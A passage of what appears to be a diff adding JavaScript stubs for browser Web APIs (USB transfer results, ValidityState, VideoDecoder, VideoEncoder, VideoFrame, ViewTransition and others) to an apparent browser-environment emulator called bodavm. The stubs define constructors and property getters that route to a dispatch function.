bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternates_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInterface', "claimed", { + configurable: true, + enumerable: true, + get: function claimed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "claimed_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBInTransferResult对象 + +bodavm.memory.globalobj['USBInTransferResult'] = function USBInTransferResult() { + console.log_copy('USBInTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBInTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInTransferResult'], "USBInTransferResult"); +bodavm.toolsFunc.defineProperty('USBInTransferResult', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBInTransferResult', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBIsochronousInTransferPacket对象 + +bodavm.memory.globalobj['USBIsochronousInTransferPacket'] = function USBIsochronousInTransferPacket() { + console.log_copy('USBIsochronousInTransferPacket 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousInTransferPacket)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferPacket': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferPacket'], "USBIsochronousInTransferPacket"); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBIsochronousInTransferResult对象 + +bodavm.memory.globalobj['USBIsochronousInTransferResult'] = function USBIsochronousInTransferResult() { + console.log_copy('USBIsochronousInTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousInTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferResult'], "USBIsochronousInTransferResult"); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "packets", { + configurable: true, + enumerable: true, + get: function packets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "packets_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBIsochronousOutTransferPacket对象 + +bodavm.memory.globalobj['USBIsochronousOutTransferPacket'] = function USBIsochronousOutTransferPacket() { + console.log_copy('USBIsochronousOutTransferPacket 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousOutTransferPacket)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferPacket': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferPacket'], "USBIsochronousOutTransferPacket"); +bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "bytesWritten", { + configurable: true, + enumerable: true, + get: function bytesWritten() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "bytesWritten_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBIsochronousOutTransferResult对象 + +bodavm.memory.globalobj['USBIsochronousOutTransferResult'] = function USBIsochronousOutTransferResult() { + console.log_copy('USBIsochronousOutTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousOutTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferResult'], "USBIsochronousOutTransferResult"); +bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferResult', "packets", { + configurable: true, + enumerable: true, + get: function packets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferResult'].prototype, "USBIsochronousOutTransferResult", "packets_get", arguments); + }, + set: undefined +}, 'prototype'); +// USBOutTransferResult对象 + +bodavm.memory.globalobj['USBOutTransferResult'] = function USBOutTransferResult() { + console.log_copy('USBOutTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBOutTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBOutTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBOutTransferResult'], "USBOutTransferResult"); +bodavm.toolsFunc.defineProperty('USBOutTransferResult', "bytesWritten", { + configurable: true, + enumerable: true, + get: function bytesWritten() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "bytesWritten_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBOutTransferResult', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +// UserActivation对象 + +bodavm.memory.globalobj['UserActivation'] = function UserActivation() { + console.log_copy('UserActivation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof UserActivation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UserActivation'], "UserActivation"); +bodavm.toolsFunc.defineProperty('UserActivation', "hasBeenActive", { + configurable: true, + enumerable: true, + get: function hasBeenActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "hasBeenActive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UserActivation', "isActive", { + configurable: true, + enumerable: true, + get: function isActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "isActive_get", arguments); + }, + set: undefined +}, 'prototype'); +// ValidityState对象 + +bodavm.memory.globalobj['ValidityState'] = function ValidityState() { + console.log_copy('ValidityState 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ValidityState)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ValidityState'], "ValidityState"); +bodavm.toolsFunc.defineProperty('ValidityState', "valueMissing", { + configurable: true, + enumerable: true, + get: function valueMissing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valueMissing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "typeMismatch", { + configurable: true, + enumerable: true, + get: function typeMismatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "typeMismatch_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "patternMismatch", { + configurable: true, + enumerable: true, + get: function patternMismatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "patternMismatch_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "tooLong", { + configurable: true, + enumerable: true, + get: function tooLong() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooLong_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "tooShort", { + configurable: true, + enumerable: true, + get: function tooShort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooShort_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "rangeUnderflow", { + configurable: true, + enumerable: true, + get: function rangeUnderflow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeUnderflow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "rangeOverflow", { + configurable: true, + enumerable: true, + get: function rangeOverflow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeOverflow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "stepMismatch", { + configurable: true, + enumerable: true, + get: function stepMismatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "stepMismatch_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "badInput", { + configurable: true, + enumerable: true, + get: function badInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "badInput_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "customError", { + configurable: true, + enumerable: true, + get: function customError() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "customError_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "valid", { + configurable: true, + enumerable: true, + get: function valid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valid_get", arguments); + }, + set: undefined +}, 'prototype'); +// VideoColorSpace对象 + +bodavm.memory.globalobj['VideoColorSpace'] = function VideoColorSpace() { + console.log_copy('VideoColorSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.VideoColorSpace(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoColorSpace'], "VideoColorSpace"); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "primaries", { + configurable: true, + enumerable: true, + get: function primaries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "primaries_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "transfer", { + configurable: true, + enumerable: true, + get: function transfer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "transfer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "fullRange", { + configurable: true, + enumerable: true, + get: function fullRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "fullRange_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "toJSON", arguments); + } +}, 'prototype'); +// VideoDecoder对象 + +bodavm.memory.globalobj['VideoDecoder'] = function VideoDecoder() { + console.log_copy('VideoDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoDecoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoDecoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoDecoder'], "VideoDecoder"); +bodavm.memory.globalobj['VideoDecoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VideoDecoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VideoDecoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].undefined, "VideoDecoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('VideoDecoder', "decodeQueueSize", { + configurable: true, + enumerable: true, + get: function decodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoDecoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_set", arguments); + } +}, 'prototype'); +// VideoEncoder对象 + +bodavm.memory.globalobj['VideoEncoder'] = function VideoEncoder() { + console.log_copy('VideoEncoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoEncoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoEncoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoEncoder'], "VideoEncoder"); +bodavm.memory.globalobj['VideoEncoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VideoEncoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VideoEncoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].undefined, "VideoEncoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('VideoEncoder', "encodeQueueSize", { + configurable: true, + enumerable: true, + get: function encodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "encode", { + configurable: true, + enumerable: true, + writable: true, + value: function encode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoEncoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_set", arguments); + } +}, 'prototype'); +// VideoFrame对象 + +bodavm.memory.globalobj['VideoFrame'] = function VideoFrame() { + console.log_copy('VideoFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoFrame': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoFrame'], "VideoFrame"); +bodavm.toolsFunc.defineProperty('VideoFrame', "format", { + configurable: true, + enumerable: true, + get: function format() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "format_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "codedWidth", { + configurable: true, + enumerable: true, + get: function codedWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "codedHeight", { + configurable: true, + enumerable: true, + get: function codedHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "codedRect", { + configurable: true, + enumerable: true, + get: function codedRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "visibleRect", { + configurable: true, + enumerable: true, + get: function visibleRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "visibleRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "displayWidth", { + configurable: true, + enumerable: true, + get: function displayWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "displayHeight", { + configurable: true, + enumerable: true, + get: function displayHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "colorSpace", { + configurable: true, + enumerable: true, + get: function colorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "colorSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "allocationSize", { + configurable: true, + enumerable: true, + writable: true, + value: function allocationSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "allocationSize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoFrame', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "copyTo", arguments); + } +}, 'prototype'); +// VideoPlaybackQuality对象 + +bodavm.memory.globalobj['VideoPlaybackQuality'] = function VideoPlaybackQuality() { + console.log_copy('VideoPlaybackQuality 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VideoPlaybackQuality)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoPlaybackQuality'], "VideoPlaybackQuality"); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "creationTime", { + configurable: true, + enumerable: true, + get: function creationTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "creationTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "totalVideoFrames", { + configurable: true, + enumerable: true, + get: function totalVideoFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "totalVideoFrames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "droppedVideoFrames", { + configurable: true, + enumerable: true, + get: function droppedVideoFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "droppedVideoFrames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "corruptedVideoFrames", { + configurable: true, + enumerable: true, + get: function corruptedVideoFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "corruptedVideoFrames_get", arguments); + }, + set: undefined +}, 'prototype'); +// ViewTransition对象 + +bodavm.memory.globalobj['ViewTransition'] = function ViewTransition() { + console.log_copy('ViewTransition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ViewTransition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ViewTransition'], "ViewTransition"); +bodavm.toolsFunc.defineProperty('ViewTransition', "finished", { + configurable: true, + enumerable: true, + get: function finished() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "finished_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ViewTransition', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ViewTransition', "updateCallbackDone", { + configurable: true, + enumerable: true, + get: function updateCallbackDone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "updateCallbackDone_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ViewTransition', "skipTransition", { + configurable: true, + enumerable: true, + writable: true, + value: function skipTransition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "skipTransition", arguments); + } +}, 'prototype'); +// vilame_setter对象 + +bodavm.memory.globalobj['vilame_setter'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('vilame_setter', "0", { + configurable: true, + enumerable: true, + writable: true, + value: {} +}); +bodavm.toolsFunc.defineProperty('vilame_setter', "length", { + configurable: false, + enumerable: false, + writable: true, + value: 1 +}); +// VirtualKeyboard对象 + +bodavm.memory.globalobj['VirtualKeyboard'] = function VirtualKeyboard() { + console.log_copy('VirtualKeyboard 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VirtualKeyboard)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = 